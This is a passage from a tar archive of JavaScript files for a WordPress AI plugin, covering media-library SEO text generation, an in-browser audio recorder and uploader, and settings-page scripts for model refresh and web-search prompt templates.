0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function aiomaticExtendMediaLightboxTemplate(anchor1, anchor2, anchor3, anchor4) { var attachmentDetailsTmpl = jQuery('#tmpl-attachment-details').text(); attachmentDetailsTmpl = attachmentDetailsTmpl.replace(/(<(a|button)[^>]+class="[^"]*edit-attachment[^"]*"[^>]*>[^<]*<\/(a|button)>)/, '\n$1' + anchor1); jQuery('#tmpl-attachment-details').text(attachmentDetailsTmpl); var attachmentDetailsTmplTwoColumn = jQuery('#tmpl-attachment-details-two-column').text(); attachmentDetailsTmplTwoColumn = attachmentDetailsTmplTwoColumn.replace(/(<a[^>]+class="[^"]*view-attachment[^"]*"[^>]*>[^<]*<\/a>)/, '\n$1 | ' + anchor2); attachmentDetailsTmplTwoColumn = attachmentDetailsTmplTwoColumn.replace(/(<(a|button)[^>]+class="[^"]*edit-attachment[^"]*"[^>]*>[^<]*<\/(a|button)>)/, '\n$1' + anchor3); jQuery('#tmpl-attachment-details-two-column').text(attachmentDetailsTmplTwoColumn); var imageDetailsTmpl = jQuery('#tmpl-image-details').text(); imageDetailsTmpl = imageDetailsTmpl.replace(/(<input type="button" class="replace-attachment button")/, anchor4 + '\n$1'); jQuery('#tmpl-image-details').text(imageDetailsTmpl); } function aiomaticGetUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } jQuery(document).ready(function($) { jQuery(document).on('click', '#aiomatic_save_template', function(e) { var templateName = prompt("Enter a name for the template:"); if (templateName) { var aiPrompt = jQuery('#aiomatic_media_prompt').val(); jQuery.post(ajaxurl, { action: 'aiomatic_save_seo_template', template_name: templateName, prompt: aiPrompt, nonce: aiomatic_media_object.nonce }, function(response) { if (response.success) { alert('Template saved successfully!'); loadTemplates(); } else { alert('Failed to save template.'); } }); } }); function loadTemplates() { jQuery.post(ajaxurl, { action: 'aiomatic_load_seo_templates', nonce: aiomatic_media_object.nonce }, function(response) { if (response.success) { var templates = response.data; jQuery('#aiomatic_template_selector').empty().append(jQuery('<option>', { value: '', text: 'Choose a template' })); jQuery.each(Object.keys(templates), function(index, name) { jQuery('#aiomatic_template_selector').append(jQuery('<option>', { value: name, text: name })); }); } else { alert('Failed to load templates.'); } }); } $(document).on('click', '#aiomatic_load_template', function(e) { var templateName = $('#aiomatic_template_selector').val(); if (templateName) { $.post(ajaxurl, { action: 'aiomatic_load_seo_template', template_name: templateName, nonce: aiomatic_media_object.nonce }, function(response) { if (response.success) { $('#aiomatic_media_prompt').val(response.data); alert('Template loaded successfully!'); } else { alert('Failed to load template.'); } }); } else { alert('Please select a template.'); } }); $(document).on('click', '#aiomatic_get_templates', function(e) { loadTemplates(); alert('Templates imported successfully!'); }); $(document).on('click', '#aiomatic_delete_template', function(e) { var templateName = $('#aiomatic_template_selector').val(); if (templateName && confirm("Are you sure you want to delete this template?")) { $.post(ajaxurl, { action: 'aiomatic_delete_seo_template', template_name: templateName, nonce: aiomatic_media_object.nonce }, function(response) { if (response.success) { alert('Template deleted successfully!'); loadTemplates(); } else { alert('Failed to delete template.'); } }); } else { alert('Please select a template.'); } }); if ($('body.post-type-attachment').length) { var currPostId = aiomaticGetUrlVars()['post']; var editImageBtn = $('#imgedit-open-btn-' + currPostId); if (editImageBtn.length) { var data = { 'action' : 'aiomatic_get_edit_image_anchor', 'post' : currPostId, 'classes' : 'button', 'nonce' : aiomatic_media_object.nonce }; jQuery.post(ajaxurl, data, function(response) { editImageBtn.after(response); }); } } $(document).on('click', 'a.autox-thickbox', function(e) { e.preventDefault(); var currEl = $(this); aiomaticLoadCropThickbox(currEl.attr('href')); return false; }); $(document).on('click', '#aiomatic-cropper-bckgr', function(e) { e.preventDefault(); aiomaticCancelCropImage(); return false; }); $(document).on('keydown', function(e) { if (e.keyCode === 27) { aiomaticCancelCropImage(); return false; } }); }); function aiomaticLoadCropThickbox(href) { jQuery.get(href, function(data) { jQuery('body').append(data); aiomaticInitScrollingMediaFrameRouter(); jQuery(window).resize(aiomaticInitScrollingMediaFrameRouter); }); } function aiomaticInitScrollingMediaFrameRouter() { var arrows, arrowL, arrowR, arrowWidth; var mediaFrameRouter = jQuery('#aiomatic-cropper-wrapper .media-frame-router'); var mediaRouter = mediaFrameRouter.find('.media-router'); var mediaFrameRouterWidth = mediaFrameRouter.width(); var mediaRouterWidth = 3; var currIndex = 0; var activeIndex = 0; var scrollLeft = 0; var mediaRouterAnchors = mediaRouter.find('a'); mediaRouterAnchors.each(function(index) { var currEl = jQuery(this); mediaRouterWidth += parseInt(currEl.outerWidth(true), 10); if (currEl.hasClass('active')) { activeIndex = index; } }); mediaRouter.css('width', mediaRouterWidth + 'px'); var hiddenWidth = mediaRouterWidth - mediaFrameRouterWidth; if (hiddenWidth > 0) { function aiomatic_mediaFrameVisible(index) { var minScrollLeft = arrowWidth + mediaFrameRouterWidth; for (var i = 0; i <= index; i++) { minScrollLeft -= parseInt(jQuery(mediaRouterAnchors[i]).outerWidth(true), 10); } return scrollLeft < minScrollLeft; } function aiomaticaiomatic_scrollMediaFrameTo(index, forced) { if ((index != currIndex || forced === true) && index > -1 && index < mediaRouterAnchors.length) { scrollLeft = arrowWidth; for (var i = 0; i < index; i++) { scrollLeft -= parseInt(jQuery(mediaRouterAnchors[i]).outerWidth(true), 10); } var doScroll = (scrollLeft * -1) - parseInt(jQuery(mediaRouterAnchors[index]).outerWidth(true), 10) - arrowWidth < hiddenWidth; if (doScroll) { if (forced === true) { mediaRouter.css('left', scrollLeft + 'px'); } else { mediaRouter.animate({ left : scrollLeft + 'px' }, 300); } currIndex = index; } if (currIndex > 0) { arrowL.addClass('active'); } else { arrowL.removeClass('active'); } if (currIndex < mediaRouterAnchors.length - 1 && !aiomatic_mediaFrameVisible(mediaRouterAnchors.length - 1)) { arrowR.addClass('active'); } else { arrowR.removeClass('active'); } } } function aiomatic_scrollMediaFrame(right, forced) { aiomaticaiomatic_scrollMediaFrameTo(currIndex + (right ? 1 : -1), forced); } function aiomaticScrollMediaFrameRight(forced) { aiomatic_scrollMediaFrame(true, forced); } function aiomaticScrollMediaFrameLeft(forced) { aiomatic_scrollMediaFrame(false, forced); } arrows = mediaFrameRouter.find('.arrows'); arrowR = arrows.filter('.arrow-r').unbind().click(aiomaticScrollMediaFrameRight); arrowL = arrows.filter('.arrow-l').unbind().click(aiomaticScrollMediaFrameLeft); arrowWidth = parseInt(arrowL.outerWidth(true), 10); arrows.css('background-color', jQuery('.media-modal-content').css('background-color')).show(); aiomaticaiomatic_scrollMediaFrameTo(currIndex, true); while (!aiomatic_mediaFrameVisible(activeIndex)) { aiomaticScrollMediaFrameRight(true); } } } function aiomaticCancelCropImage() { jQuery('#aiomatic-cropper-wrapper').remove(); } function aiseoselect() { var selected = jQuery('#seo_assistant_id').val(); if(selected == '') { jQuery('#aiomatic_model_selector').removeAttr('disabled'); } else { jQuery("#aiomatic_model_selector").attr('disabled', 'disabled'); } } function target_updated_ai() { if(jQuery("#aiomatic_target_selector option:selected").val() === 'caption') { jQuery("#aiomatic_media_prompt").val('Write a SEO friendly caption text for an image with the title: %%image_title%%'); } else if(jQuery("#aiomatic_target_selector option:selected").val() === 'alt') { jQuery("#aiomatic_media_prompt").val('Write a SEO friendly alt text for an image with the title: %%image_title%%'); } else if(jQuery("#aiomatic_target_selector option:selected").val() === 'description') { jQuery("#aiomatic_media_prompt").val('Write a SEO friendly description text for an image with the title: %%image_title%%'); } else if(jQuery("#aiomatic_target_selector option:selected").val() === 'title') { jQuery("#aiomatic_media_prompt").val('Write a SEO friendly title text for an image from my WordPress blog'); } } function aiomaticGenerateMediaText() { var ai_text = jQuery("#aiomatic_media_prompt").val(); var ai_model = jQuery("#aiomatic_model_selector").val(); var ai_assistant = jQuery("#seo_assistant_id").val(); var title = jQuery("#aiomatic_attachment_title").val(); var alt = jQuery("#aiomatic_attachment_alt").val(); var caption = jQuery("#aiomatic_attachment_caption").val(); var content = jQuery("#attachment_content").val(); var target = jQuery("#aiomatic_target_selector").val(); var button = jQuery("#aiomatic_generate_text_media"); var id = jQuery("#aiomatic_media_id").val(); function aiomaticLoading(btn) { jQuery("#aiomatic_target_selector").attr('disabled','disabled'); jQuery("#aiomatic_media_prompt").attr('disabled','disabled'); jQuery("#aiomatic_model_selector").attr('disabled','disabled'); jQuery("#seo_assistant_id").attr('disabled','disabled'); btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { jQuery("#aiomatic_target_selector").removeAttr('disabled'); jQuery("#aiomatic_media_prompt").removeAttr('disabled'); jQuery("#aiomatic_model_selector").removeAttr('disabled'); jQuery("#seo_assistant_id").removeAttr('disabled'); btn.removeAttr('disabled'); btn.find('.spinner').remove(); } aiomaticLoading(button); jQuery.ajax({ type: 'POST', url: ajaxurl, data: { action: 'aiomatic_generate_media_text', prompt: ai_text, nonce : aiomatic_media_object.nonce, model: ai_model, assistant_id: ai_assistant, title: title, alt: alt, caption: caption, content: content, id: id }, success: function(response) { aiomaticRmLoading(button); if(response.success == true) { if(target == 'title') { jQuery('#aiomatic_attachment_title').val(response.data.content); } else if(target == 'caption') { jQuery('#aiomatic_attachment_caption').val(response.data.content); } else if(target == 'alt') { jQuery('#aiomatic_attachment_alt').val(response.data.content); } else if(target == 'description') { jQuery('#attachment_content').val(response.data.content); } else { console.log('No valid target specified: ' + target); } } else { alert('Failed to generate text, please try again later'); console.log('Text generator returned an error: ' + JSON.stringify(response)); } }, error: function(error) { aiomaticRmLoading(button); alert('Failed to generate text, please try again later'); console.log('Text generator failed: ' + error.responseText); }, }); } function aiomatic_save_media_data() { var title = jQuery("#aiomatic_attachment_title").val(); var alt = jQuery("#aiomatic_attachment_alt").val(); var caption = jQuery("#aiomatic_attachment_caption").val(); var content = jQuery("#attachment_content").val(); var id = jQuery("#aiomatic_media_id").val(); var button = jQuery("#aiomatic_save_media"); function aiomaticLoading(btn) { jQuery("#aiomatic_target_selector").attr('disabled','disabled'); jQuery("#aiomatic_media_prompt").attr('disabled','disabled'); jQuery("#aiomatic_model_selector").attr('disabled','disabled'); jQuery("#seo_assistant_id").attr('disabled','disabled'); jQuery("#aiomatic_generate_text_media").attr('disabled','disabled'); jQuery("#aiomatic_attachment_title").attr('disabled','disabled'); jQuery("#aiomatic_attachment_alt").attr('disabled','disabled'); jQuery("#aiomatic_attachment_caption").attr('disabled','disabled'); jQuery("#attachment_content").attr('disabled','disabled'); btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { jQuery("#aiomatic_target_selector").removeAttr('disabled'); jQuery("#aiomatic_media_prompt").removeAttr('disabled'); jQuery("#aiomatic_model_selector").removeAttr('disabled'); jQuery("#seo_assistant_id").removeAttr('disabled'); jQuery("#aiomatic_generate_text_media").removeAttr('disabled'); jQuery("#aiomatic_attachment_title").removeAttr('disabled'); jQuery("#aiomatic_attachment_alt").removeAttr('disabled'); jQuery("#aiomatic_attachment_caption").removeAttr('disabled'); jQuery("#attachment_content").removeAttr('disabled'); btn.removeAttr('disabled'); btn.find('.spinner').remove(); } aiomaticLoading(button); jQuery.ajax({ type: 'POST', url: ajaxurl, data: { action: 'aiomatic_save_media_text', nonce : aiomatic_media_object.nonce, title: title, alt: alt, caption: caption, content: content, id: id }, success: function(response) { aiomaticRmLoading(button); if(response.success == true) { alert('Update successful, you need to refresh the page to see the changes appear!'); } else { alert('Failed to update media, please try again later'); console.log('Media update returned an error: ' + JSON.stringify(response)); } }, error: function(error) { aiomaticRmLoading(button); alert('Failed to update media, please try again later'); console.log('Media update failed: ' + error.responseText); }, }); }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/audio.js������������������������������������������������������������������������������������0000644�����������������00000055526�14757771437�0007735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function(){ (function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.Recorder = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){ "use strict"; module.exports = require("./recorder").Recorder; },{"./recorder":2}],2:[function(require,module,exports){ 'use strict'; var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i];descriptor.enumerable = descriptor.enumerable || false;descriptor.configurable = true;if ("value" in descriptor) descriptor.writable = true;Object.defineProperty(target, descriptor.key, descriptor); } }return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps);if (staticProps) defineProperties(Constructor, staticProps);return Constructor; }; })(); Object.defineProperty(exports, "__esModule", { value: true }); exports.Recorder = undefined; var _inlineWorker = require('inline-worker'); var _inlineWorker2 = _interopRequireDefault(_inlineWorker); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Recorder = exports.Recorder = (function () { function Recorder(source, cfg) { var _this = this; _classCallCheck(this, Recorder); this.config = { bufferLen: 4096, numChannels: 2, mimeType: 'audio/wav' }; this.recording = false; this.callbacks = { getBuffer: [], exportWAV: [] }; Object.assign(this.config, cfg); this.context = source.context; this.node = (this.context.createScriptProcessor || this.context.createJavaScriptNode).call(this.context, this.config.bufferLen, this.config.numChannels, this.config.numChannels); this.node.onaudioprocess = function (e) { if (!_this.recording) return; var buffer = []; for (var channel = 0; channel < _this.config.numChannels; channel++) { buffer.push(e.inputBuffer.getChannelData(channel)); } _this.worker.postMessage({ command: 'record', buffer: buffer }); }; source.connect(this.node); this.node.connect(this.context.destination); //this should not be necessary var self = {}; this.worker = new _inlineWorker2.default(function () { var recLength = 0, recBuffers = [], sampleRate = undefined, numChannels = undefined; self.onmessage = function (e) { switch (e.data.command) { case 'init': init(e.data.config); break; case 'record': record(e.data.buffer); break; case 'exportWAV': exportWAV(e.data.type); break; case 'getBuffer': getBuffer(); break; case 'clear': clear(); break; } }; function init(config) { sampleRate = config.sampleRate; numChannels = config.numChannels; initBuffers(); } function record(inputBuffer) { for (var channel = 0; channel < numChannels; channel++) { recBuffers[channel].push(inputBuffer[channel]); } recLength += inputBuffer[0].length; } function exportWAV(type) { var buffers = []; for (var channel = 0; channel < numChannels; channel++) { buffers.push(mergeBuffers(recBuffers[channel], recLength)); } var interleaved = undefined; if (numChannels === 2) { interleaved = interleave(buffers[0], buffers[1]); } else { interleaved = buffers[0]; } var dataview = encodeWAV(interleaved); var audioBlob = new Blob([dataview], { type: type }); self.postMessage({ command: 'exportWAV', data: audioBlob }); } function getBuffer() { var buffers = []; for (var channel = 0; channel < numChannels; channel++) { buffers.push(mergeBuffers(recBuffers[channel], recLength)); } self.postMessage({ command: 'getBuffer', data: buffers }); } function clear() { recLength = 0; recBuffers = []; initBuffers(); } function initBuffers() { for (var channel = 0; channel < numChannels; channel++) { recBuffers[channel] = []; } } function mergeBuffers(recBuffers, recLength) { var result = new Float32Array(recLength); var offset = 0; for (var i = 0; i < recBuffers.length; i++) { result.set(recBuffers[i], offset); offset += recBuffers[i].length; } return result; } function interleave(inputL, inputR) { var length = inputL.length + inputR.length; var result = new Float32Array(length); var index = 0, inputIndex = 0; while (index < length) { result[index++] = inputL[inputIndex]; result[index++] = inputR[inputIndex]; inputIndex++; } return result; } function floatTo16BitPCM(output, offset, input) { for (var i = 0; i < input.length; i++, offset += 2) { var s = Math.max(-1, Math.min(1, input[i])); output.setInt16(offset, s < 0 ? s * 0x8000 : s * 0x7FFF, true); } } function writeString(view, offset, string) { for (var i = 0; i < string.length; i++) { view.setUint8(offset + i, string.charCodeAt(i)); } } function encodeWAV(samples) { var buffer = new ArrayBuffer(44 + samples.length * 2); var view = new DataView(buffer); /* RIFF identifier */ writeString(view, 0, 'RIFF'); /* RIFF chunk length */ view.setUint32(4, 36 + samples.length * 2, true); /* RIFF type */ writeString(view, 8, 'WAVE'); /* format chunk identifier */ writeString(view, 12, 'fmt '); /* format chunk length */ view.setUint32(16, 16, true); /* sample format (raw) */ view.setUint16(20, 1, true); /* channel count */ view.setUint16(22, numChannels, true); /* sample rate */ view.setUint32(24, sampleRate, true); /* byte rate (sample rate * block align) */ view.setUint32(28, sampleRate * 4, true); /* block align (channel count * bytes per sample) */ view.setUint16(32, numChannels * 2, true); /* bits per sample */ view.setUint16(34, 16, true); /* data chunk identifier */ writeString(view, 36, 'data'); /* data chunk length */ view.setUint32(40, samples.length * 2, true); floatTo16BitPCM(view, 44, samples); return view; } }, self); this.worker.postMessage({ command: 'init', config: { sampleRate: this.context.sampleRate, numChannels: this.config.numChannels } }); this.worker.onmessage = function (e) { var cb = _this.callbacks[e.data.command].pop(); if (typeof cb == 'function') { cb(e.data.data); } }; } _createClass(Recorder, [{ key: 'record', value: function record() { this.recording = true; } }, { key: 'stop', value: function stop() { this.recording = false; } }, { key: 'clear', value: function clear() { this.worker.postMessage({ command: 'clear' }); } }, { key: 'getBuffer', value: function getBuffer(cb) { cb = cb || this.config.callback; if (!cb) throw new Error('Callback not set'); this.callbacks.getBuffer.push(cb); this.worker.postMessage({ command: 'getBuffer' }); } }, { key: 'exportWAV', value: function exportWAV(cb, mimeType) { mimeType = mimeType || this.config.mimeType; cb = cb || this.config.callback; if (!cb) throw new Error('Callback not set'); this.callbacks.exportWAV.push(cb); this.worker.postMessage({ command: 'exportWAV', type: mimeType }); } }], [{ key: 'forceDownload', value: function forceDownload(blob, filename) { var url = (window.URL || window.webkitURL).createObjectURL(blob); var link = window.document.createElement('a'); link.href = url; link.download = filename || 'output.wav'; var click = document.createEvent("Event"); click.initEvent("click", true, true); link.dispatchEvent(click); } }]); return Recorder; })(); exports.default = Recorder; },{"inline-worker":3}],3:[function(require,module,exports){ "use strict"; module.exports = require("./inline-worker"); },{"./inline-worker":4}],4:[function(require,module,exports){ (function (global){ "use strict"; var _createClass = (function () { function defineProperties(target, props) { for (var key in props) { var prop = props[key]; prop.configurable = true; if (prop.value) prop.writable = true; } Object.defineProperties(target, props); } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); var _classCallCheck = function (instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }; var WORKER_ENABLED = !!(global === global.window && global.URL && global.Blob && global.Worker); var InlineWorker = (function () { function InlineWorker(func, self) { var _this = this; _classCallCheck(this, InlineWorker); if (WORKER_ENABLED) { var functionBody = func.toString().trim().match(/^function\s*\w*\s*\([\w\s,]*\)\s*{([\w\W]*?)}$/)[1]; var url = global.URL.createObjectURL(new global.Blob([functionBody], { type: "text/javascript" })); return new global.Worker(url); } this.self = self; this.self.postMessage = function (data) { setTimeout(function () { _this.onmessage({ data: data }); }, 0); }; setTimeout(function () { func.call(self); }, 0); } _createClass(InlineWorker, { postMessage: { value: function postMessage(data) { var _this = this; setTimeout(function () { _this.self.onmessage({ data: data }); }, 0); } } }); return InlineWorker; })(); module.exports = InlineWorker; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}]},{},[1])(1) }); function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery('.aiomatic-audio-select').on('click', function (){ var type = jQuery(this).val(); jQuery('.aiomatic-audio-type').hide(); jQuery('.aiomatic-audio-'+type).show(); jQuery('.aiomatic-audio-'+type).css('visibility','visible'); }); jQuery('#button-start-converter').on('click', function (e){ e.preventDefault(); var type = jQuery('.aiomatic-audio-select:checked').val(); var error_message = false; var response = 'text'; if(type === 'upload'){ if(jQuery('.aiomatic-audio-upload input')[0].files.length === 0){ error_message = 'An audio file is mandatory.'; } else{ var file = jQuery('.aiomatic-audio-upload input')[0].files[0]; if(jQuery.inArray(file.type, aiomatic_audio_mime_types) < 0){ error_message = 'Accepted file types are mp3, mp4, mpeg, mpga, m4a, wav, or webm' } else if(file.size > 26214400){ error_message = 'Audio file maximum 25MB'; } } } if(!error_message && type === 'url' && jQuery('.aiomatic-audio-url input').val() === ''){ error_message = 'Please insert audio URL'; } if(!error_message && (response === 'post' || response === 'page') && jQuery('.aiomatic-audio-title').val() === ''){ error_message = 'The title field is required' } if(type === 'record' && aiomaticAudioBlob.size > (10 * Math.pow(1024, 25))){ error_message = 'Audio file maximum 25MB'; } if(error_message){ alert(error_message) } else{ var data = new FormData(jQuery('.aiomatic-audio-form')[0]); data.append('action', 'aiomatic_audio_converter'); data.append('nonce', aiomatic_audio_object.nonce); if(type === 'record'){ data.append('recorded_audio', aiomaticAudioBlob, 'aiomatic_recording.wav'); aiomaticUploadConverter(data); } else { aiomaticUploadConverter(data); } } return false; }); function aiomaticUploadConverter(data){ var btn = jQuery('#button-start-converter'); jQuery.ajax({ url: aiomatic_audio_object.ajax_url, data: data, type: 'POST', dataType: 'JSON', cache: false, contentType: false, processData: false, xhr: function () { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function (evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width', (Math.round(percentComplete * 100)) + '%'); } }, false); return xhr; }, beforeSend: function () { jQuery('.button-link-delete').show(); jQuery('.button-link-delete').css('visibility','visible'); aiomatic_progress.find('span').css('width', '0'); aiomatic_progress.show(); aiomatic_progress.css('visibility','visible'); aiomaticLoading(btn); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, success: function (res) { if (res.status === 'success') { aiomaticRmLoading(btn); jQuery('.button-link-delete').hide(); jQuery('.aiomatic-audio-upload input').val(''); aiomatic_progress.hide(); aiomatic_upload_success.show(); aiomatic_upload_success.css('visibility','visible'); jQuery('#aiomatic_audio_result').text(res.data); } else { aiomaticRmLoading(btn); jQuery('.button-link-delete').hide(); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }, error: function () { aiomaticRmLoading(btn); jQuery('.button-link-delete').hide(); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); aiomatic_error_message.html('Please try again'); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }); } var aiomatic_audio_mime_types = ['audio/mpeg','video/mp4','video/mpeg','audio/m4a','audio/wav','video/webm']; var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); /*Start Record*/ var aiomatic_btn_record = jQuery('#btn-audio-record'); var aiomatic_btn_record_pause = jQuery('#btn-audio-record-pause'); var aiomatic_btn_record_stop = jQuery('#btn-audio-record-stop'); var aiomatic_audio_record_result = jQuery('#aiomatic-audio-record-result'); var aiomaticStream; var aiomaticRec; var input; var aiomaticAudioContext = window.AudioContext || window.webkitAudioContext; var audioContext; var aiomaticAudioBlob; function aiomaticstartRecording() { var constraints = { audio: true, video:false } navigator.mediaDevices.getUserMedia(constraints).then(function(stream) { audioContext = new aiomaticAudioContext(); aiomaticStream = stream; input = audioContext.createMediaStreamSource(stream); aiomaticRec = new Recorder(input,{numChannels:1}); aiomaticRec.record(); }) } function aiomaticpauseRecording(){ if (aiomaticRec.recording){ aiomaticRec.stop(); } else{ aiomaticRec.record() } } function aiomaticstopRecording() { aiomaticRec.stop(); aiomaticStream.getAudioTracks()[0].stop(); aiomaticRec.exportWAV(aiomaticcreateDownloadLink); } function aiomaticcreateDownloadLink(blob) { aiomaticAudioBlob = blob; var url = URL.createObjectURL(blob); aiomatic_audio_record_result.html('<audio controls="true" src="'+url+'"></audio>'); } aiomatic_btn_record_pause.on('click', function (){ if(aiomatic_btn_record_pause.hasClass('aiomatic-paused')){ aiomatic_btn_record_pause.html('Pause'); aiomatic_btn_record_pause.removeClass('aiomatic-paused'); } else{ aiomatic_btn_record_pause.html('Continue'); aiomatic_btn_record_pause.addClass('aiomatic-paused'); } aiomaticpauseRecording(); }) aiomatic_btn_record.on('click', function (){ aiomaticstartRecording(); aiomatic_btn_record.hide(); aiomatic_audio_record_result.empty(); aiomatic_audio_record_result.hide(); aiomatic_btn_record_pause.show(); aiomatic_btn_record_pause.css('visibility','visible'); aiomatic_btn_record_stop.show(); aiomatic_btn_record_stop.css('visibility','visible'); }); aiomatic_btn_record_stop.on('click', function () { aiomaticstopRecording(); aiomatic_btn_record_pause.hide(); aiomatic_btn_record_stop.hide(); aiomatic_btn_record.html('Re-Record'); aiomatic_btn_record.show(); aiomatic_btn_record.css('visibility','visible'); aiomatic_audio_record_result.show(); aiomatic_audio_record_result.css('visibility','visible'); }) jQuery('.aiomatic-audio-purpose').on('change', function (){ if(jQuery(this).val() === 'translations'){ jQuery('.aiomatic_languages').hide(); } else{ jQuery('.aiomatic_languages').show(); jQuery('.aiomatic_languages').css('visibility','visible'); } }); var aiomaticAudioWorking = false; jQuery('.aiomatic-btn-cancel').on('click', function (){ var btn = jQuery('#button-start-converter'); jQuery(this).hide(); aiomaticRmLoading(btn); aiomatic_progress.hide(); if(aiomaticAudioWorking){ aiomaticAudioWorking.abort(); } }); });��������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/main.js�������������������������������������������������������������������������������������0000644�����������������00000050547�14757771437�0007556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; var initial = ''; function aiomaticLoading(btn) { btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } function assistantSelected(checkID, disableClass) { if(jQuery('#' + checkID).val() == '') { jQuery('.' + disableClass).find('option').removeAttr('disabled'); } else { jQuery('.' + disableClass).find('option').attr('disabled', 'disabled'); } } function aiomaticRefreshOllama() { var confirm_delete = confirm('Are you sure you want to refresh Ollama model list?'); if (confirm_delete) { document.getElementById('ollamaButton').setAttribute('disabled','disabled'); jQuery.ajax({ url: mycustommainsettings.ajaxurl, type: 'POST', data: { action: 'aiomatic_refresh_ollama_models', nonce: mycustommainsettings.nonce }, success: function(res) { if(res.success == true) { document.getElementById('ollamaButton').removeAttribute('disabled'); alert('Ollama models refreshed successfully!'); } else { alert('Failed to refresh model list: ' + res.data.message); console.log('Failed to refresh model list: ' + JSON.stringify(res)); document.getElementById('ollamaButton').removeAttribute('disabled'); } }, error: function(xhr, status, error) { document.getElementById('ollamaButton').removeAttribute('disabled'); alert('Failed to refresh model list, please try again later!'); console.log('Error: ' + error); } }); } } function actionsChangedTax() { var confirm_delete = confirm('Are you sure you want to run manual taxonomy description writing?'); if (confirm_delete) { document.getElementById('taxactions').setAttribute('disabled','disabled'); jQuery.ajax({ url: mycustommainsettings.ajaxurl, type: 'POST', data: { action: 'aiomatic_write_tax_description_manual', nonce: mycustommainsettings.nonce }, success: function(res) { if(res.success == true) { document.getElementById('taxactions').removeAttribute('disabled'); alert('Taxonomy descriptions were written successfully!'); } else { alert('Failed to generate manual tax description: ' + res.data.message); console.log('Taxonomy manual description generator returned an error: ' + JSON.stringify(res)); document.getElementById('taxactions').removeAttribute('disabled'); } }, error: function(xhr, status, error) { document.getElementById('taxactions').removeAttribute('disabled'); alert('Failed to generate the taxonomy description, please try again later!'); console.log('Error: ' + error); } }); } } jQuery(document).ready(function($) { if($('#aiomatic_roaylty_free_sortable').length) { var mainCardOrder = $('#aiomatic_roaylty_free_sortable'); if(mainCardOrder !== undefined) { mainCardOrder.sortable({ update: function(event, ui) { var cardOrder = $('#aiomatic_roaylty_free_sortable'); if(cardOrder !== undefined) { var scardOrder = cardOrder.sortable('toArray').toString(); $('#sortable_cards').val(scardOrder); } else { console.log('Cannot find the aiomatic_roaylty_free_sortable input!'); } } }); } else { console.log('Error, aiomatic_roaylty_free_sortable input not found!'); } } }); function populate_default_internet() { jQuery("#internet_prompt").val(`Web search results: %%web_results%% Current date: %%current_date%% Instructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject. Query: %%original_query%%`); } function populate_default_template() { jQuery("#internet_single_template").val(`[%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%`); } function embeddingsChanged() { 